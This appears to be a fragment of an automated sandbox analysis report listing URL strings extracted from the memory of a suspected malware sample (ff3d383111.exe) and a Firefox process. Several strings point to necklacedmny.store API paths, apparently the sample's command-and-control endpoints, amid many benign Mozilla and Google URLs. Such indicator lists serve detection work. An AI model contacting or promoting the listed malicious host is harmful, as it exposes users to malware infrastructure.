Source: ff3d383111.exe, 00000009.00000003.2113185240.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2087086009.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115456778.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiry_acc
Source: ff3d383111.exe, 00000009.00000003.2012997551.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2016595213.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2008882900.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2007842958.0000000005880000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apit
Source: ff3d383111.exe, 00000009.00000003.1993442321.000000000587A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/f
Source: ff3d383111.exe, 00000009.00000003.2095827701.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2010245333.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2032023440.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975791240.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/j
Source: ff3d383111.exe, 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/q
Source: ff3d383111.exe, 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/v
Source: ff3d383111.exe, 00000009.00000003.2113185240.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211938111.0000000001020000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2087086009.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211088238.0000000001020000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115456778.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/yl
Source: ff3d383111.exe, 00000004.00000003.1948184866.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1947956344.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989981252.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989560579.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1915585472.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1915376688.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: ff3d383111.exe, 00000004.00000003.1863272661.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apianent_consistency_country
Source: ff3d383111.exe, 00000009.00000003.1993908104.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.storep
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdevtools/client/shared/telemetry
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-3.js
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-3.jspersist/
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/toast_notification_user_event
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/toast_notification_user_eventapplyUndesiredEventPolicyTOAST_NOTIFICA
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svghttps://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/usergetValue/preffedBlockRegions
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js#onFormHistoryAutoCompleteSearchAsync/formHistoryEn
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: ff3d383111.exe, 00000004.00000003.1842102398.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975093588.00000000058CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000017.00000002.2211641296.0000016BB6F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helptoolbar-menubar
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000017.00000002.2213329663.0000016BB70AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000017.00000002.2217339582.0000016BB7B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsresource://devtools/client/
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesInternalTestingProfileMigra
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationACTIVITY_SUBTYPE_SPECULATIVE_DNSANDSOCKET_CREATED.
Source: ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgdevice-connected-notificationaccount-connection-disconnectedshowBadgeOnly
Source: ff3d383111.exe, 00000004.00000003.1842171798.0000000005B58000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842102398.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975368516.00000000058C5000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975576439.00000000058C5000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975093588.00000000058CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: ff3d383111.exe, 00000004.00000003.1842171798.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975576439.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: ff3d383111.exe, 00000004.00000003.1842171798.0000000005B58000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842102398.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975368516.00000000058C5000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975576439.00000000058C5000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975093588.00000000058CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: ff3d383111.exe, 00000004.00000003.1842171798.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975576439.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6670000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB162A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
